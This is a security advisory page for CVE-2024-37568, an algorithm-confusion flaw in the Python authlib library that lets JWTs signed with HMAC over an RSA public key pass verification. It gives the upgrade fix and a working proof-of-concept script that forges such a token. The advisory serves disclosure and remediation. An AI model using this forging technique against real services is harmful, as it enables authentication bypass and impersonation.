Improper Verification of Cryptographic Signature Affecting authlib package, versions [,1.3.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (24th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-AUTHLIB-7231109
- published 10 Jun 2024
- disclosed 9 Jun 2024
- credit Millie Solem
Introduced: 9 Jun 2024
CVE-2024-37568 Open this link in a new tabHow to fix?
Upgrade authlib
to version 1.3.1 or higher.
Overview
authlib is a library in building OAuth and OpenID Connect servers.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature which allow HMAC verification with ANY asymmetric public key. If the' algorithm' field is left unspecified, an attacker can manipulate the verification process by exploiting the flexibility in algorithm selection during the jwt.decode
call.
PoC
from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64
# ----- SETUP -----
# generate an asymmetric RSA keypair
# !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)
# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')
# Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]
# ---- CLIENT SIDE -----
# Without knowing the private key, a valid token can be constructed
# YIKES!!
b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)
# ---- SERVER SIDE -----
# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
print("VULNERABLE")
References
CVSS Scores
version 3.1